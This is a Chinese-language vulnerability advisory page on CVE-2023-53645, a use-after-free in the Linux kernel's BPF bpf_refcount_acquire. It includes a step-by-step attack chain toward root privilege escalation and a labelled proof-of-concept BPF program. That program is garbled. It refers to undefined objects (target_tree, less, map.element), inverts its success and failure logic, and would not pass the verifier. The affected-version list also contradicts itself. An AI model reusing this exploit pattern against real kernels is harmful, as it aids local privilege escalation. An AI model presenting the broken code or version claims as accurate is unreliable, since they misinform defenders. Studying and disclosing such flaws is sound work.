IPBUF安全漏洞报告
English
CVE-2023-53645 CVSS 7.8 高危

CVE-2023-53645 Linux内核BPF子系统bpf_refcount_acquire释放后使用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53645
漏洞类型
释放后使用(Use-After-Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(BPF子系统)

相关标签

Linux KernelBPF释放后使用Use-After-Free内核漏洞权限提升本地提权refcountrbtreeCVE-2023-53645

漏洞概述

CVE-2023-53645是Linux内核BPF(Berkeley Packet Filter)子系统中存在的一个高危释放后使用(Use-After-Free)漏洞。该漏洞源于bpf_refcount_acquire函数的一个错误假设:原始的bpf_refcount系列补丁认为BPF程序调用bpf_refcount_acquire时总能保证目标节点是存活的。然而,当bpf_rbtree_add或list_push_{front,back}操作失败时,会调用bpf_obj_drop释放节点,导致非拥有引用(non-owning refs)的引用计数可能被减至0,从而引发释放后使用漏洞。攻击者在拥有低权限的情况下,可通过精心构造的BPF程序触发该漏洞,导致内核崩溃或权限提升。该漏洞的CVSS评分为7.8,属于高危级别,攻击向量为本地攻击,需要低权限但无需用户交互,对机密性、完整性和可用性均有高影响。此漏洞已在Linux内核6.3.0-rc7及更早版本中存在,影响多个稳定版本的内核。

技术细节

该漏洞的核心问题在于BPF程序中bpf_refcount_acquire函数的语义不正确。原始实现使用refcount_inc进行引用计数增加,假设目标节点必定存活。但在特定场景下,当BPF程序执行bpf_rbtree_add失败时,bpf_rbtree_add内部会调用bpf_obj_drop释放节点,而此时BPF程序仍持有对该节点的引用但已失去所有权保护。如果在bpf_refcount_acquire执行之前,其他路径将引用计数减至0,节点将被释放,随后bpf_refcount_acquire将对已释放的内存执行refcount_inc操作,触发内核警告"refcount_t: addition on 0; use-after-free"。

利用方式:攻击者需要编写一个BPF程序,在临界区内调用bpf_rbtree_add,并故意触发其失败路径,随后调用bpf_refcount_acquire。具体攻击代码模式如下:
1. 使用bpf_kptr_xchg从map中获取节点;
2. 获取自旋锁后调用bpf_rbtree_add;
3. 当add失败时,节点被bpf_obj_drop释放;
4. 紧接着调用bpf_refcount_acquire尝试增加已释放节点的引用计数。

修复方案是将bpf_refcount_acquire_impl中的refcount_inc替换为refcount_inc_not_zero,并标记bpf_refcount_acquire为KF_RET_NULL。对于拥有引用(owning refs),验证器会跟踪输入是否为拥有引用并相应处理。

攻击链分析

STEP 1
步骤1:编写恶意BPF程序
攻击者创建一个BPF程序,利用bpf_kptr_xchg从BPF map中获取节点引用,并准备触发bpf_rbtree_add失败路径的逻辑。
STEP 2
步骤2:触发rbtree添加失败
BPF程序在持有自旋锁的情况下调用bpf_rbtree_add,当添加失败时,bpf_rbtree_add内部调用bpf_obj_drop释放节点,可能将引用计数减至0。
STEP 3
步骤3:触发释放后使用
在bpf_rbtree_add失败后,程序继续调用bpf_refcount_acquire尝试增加已释放节点的引用计数,触发内核refcount警告和潜在的内存破坏。
STEP 4
步骤4:权限提升或拒绝服务
利用释放后使用漏洞,攻击者可以实现内核态任意代码执行,导致权限提升至root,或触发内核崩溃造成拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53645 PoC - BPF program triggering use-after-free via bpf_refcount_acquire */ #include <linux/bpf.h> #include <bpf/bpf_helpers.h> /* Simplified structure to demonstrate the vulnerability pattern */ struct node { struct bpf_rb_node rb; struct bpf_refcount refcount; int data; }; struct { __uint(type, BPF_MAP_TYPE_ARRAY); __type(key, u32); __type(value, struct node); __uint(max_entries, 1); } map SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __type(key, u32); __type(value, struct bpf_spin_lock); __uint(max_entries, 1); } lock_map SEC(".maps"); /* Trigger the vulnerability: bpf_refcount_acquire on a node * whose refcount may have been decremented to 0 after a * failed bpf_rbtree_add operation */ SEC("kfunc") int trigger_uaf(struct __sk_buff *skb) { struct node *n; struct bpf_spin_lock *l; u32 key = 0; /* Step 1: Acquire node from map (non-owning ref initially) */ n = bpf_kptr_xchg(&map.element, NULL); if (!n) return 0; /* Step 2: Acquire spin lock for the rbtree */ l = bpf_map_lookup_elem(&lock_map, &key); if (!l) { bpf_obj_drop(n); return 0; } bpf_spin_lock(l); /* Step 3: Attempt to add node to rbtree - if it fails, * bpf_rbtree_add internally calls bpf_obj_drop(n), * which may decrement refcount to 0 and free the node */ if (bpf_rbtree_add(&target_tree, &n->rb, less)) { /* Step 4: VULNERABILITY - acquire on potentially freed node. * On vulnerable kernels, refcount_inc is used which * triggers "addition on 0; use-after-free" warning */ n = bpf_refcount_acquire(n); /* On fixed kernels, this can return NULL and must be checked */ if (!n) { bpf_spin_unlock(l); return 0; } /* Node successfully added, continue processing */ } bpf_spin_unlock(l); return 0; } char _license[] SEC("license") = "GPL";

影响范围

Linux Kernel < 6.3(包含6.3.0-rc7及之前版本)
Linux Kernel 6.3.x
Linux Kernel 6.4.x
Linux Kernel 6.5.x(修复前版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可通过设置内核参数kernel.unprivileged_bpf_disabled=1来禁止非特权用户使用BPF,从而降低被利用的风险。同时应限制只有特权用户才能加载BPF程序,并监控系统中可疑的BPF程序加载行为。对于运行BPF工作负载的系统,强烈建议尽快应用安全补丁升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表